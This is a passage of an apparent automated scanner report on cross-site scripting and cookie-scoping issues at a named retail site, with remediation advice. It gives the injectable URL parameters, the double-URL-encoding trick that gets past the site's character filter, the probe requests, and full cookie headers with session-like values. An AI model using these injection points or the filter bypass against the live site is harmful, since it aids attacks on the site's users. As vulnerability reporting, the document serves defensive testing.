This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/computers/notebooks/CQ62Z_series/rtsbeb35%2522%253b96441d622b9/4/computer_store/XG636UA%2523ABA HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab3bb%2522%2520a%253db%2520d7e5d4fa289 was submitted in the REST URL parameter 5. This input was echoed as ab3bb" a=b d7e5d4fa289 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/computers/notebooks/CQ62Z_series/rtsab3bb%2522%2520a%253db%2520d7e5d4fa289/4/computer_store/XG636UA%2523ABA HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3dcc2%2522%2520a%253db%2520bf9062e327c was submitted in the REST URL parameter 6. This input was echoed as 3dcc2" a=b bf9062e327c in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 6 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/computers/notebooks/CQ62Z_series/rts/43dcc2%2522%2520a%253db%2520bf9062e327c/computer_store/XG636UA%2523ABA HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e62cd%2527%253bfdd98b2cee0 was submitted in the REST URL parameter 6. This input was echoed as e62cd';fdd98b2cee0 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 6 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/computers/notebooks/CQ62Z_series/rts/4e62cd%2527%253bfdd98b2cee0/computer_store/XG636UA%2523ABA HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"> <head> <!-- hp ...[SNIP]... ubcat1 from the request // Commented out below lines to remove directLink var omni_landing = 'computers'; var omni_category = 'notebooks/CQ62Z_series'; var omni_catLevel = '4e62cd';fdd98b2cee0'; var omni_subcat1 = 'rts';
//Script added to introduce New Omniture Variables if(omni_landing == null || omni_landing == '' || omni_landing == 'null') omni_landing ...[SNIP]...
The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c567d%2527%253b808319c4b47 was submitted in the REST URL parameter 7. This input was echoed as c567d';808319c4b47 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 7 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/computers/notebooks/CQ62Z_series/rts/4/computer_storec567d%2527%253b808319c4b47/XG636UA%2523ABA HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db2a5%2522%2520a%253db%2520ae33b60e5f8 was submitted in the REST URL parameter 7. This input was echoed as db2a5" a=b ae33b60e5f8 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 7 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/computers/notebooks/CQ62Z_series/rts/4/computer_storedb2a5%2522%2520a%253db%2520ae33b60e5f8/XG636UA%2523ABA HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The value of the catLevel request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cea47"%20a%3db%20c12bf9a345 was submitted in the catLevel parameter. This input was echoed as cea47" a=b c12bf9a345 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /webapp/shopping/can.do?landing=handheld&category=iPAQ&catLevel=1cea47"%20a%3db%20c12bf9a345&storeName=storefronts HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /accessories-store HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /accessories-store/ink HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /biz HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /can/computer/categories/storage_solutions/1/accessories HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /esp HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /scanner HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /webapp/shopping/accessories_landing.do HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /webapp/shopping/can.do HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /webapp/shopping/ctologin.do HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /webapp/shopping/help.do HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /webapp/shopping/home.do HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /webapp/shopping/mpss_portal.do HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /webapp/shopping/offers_guide.do HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; 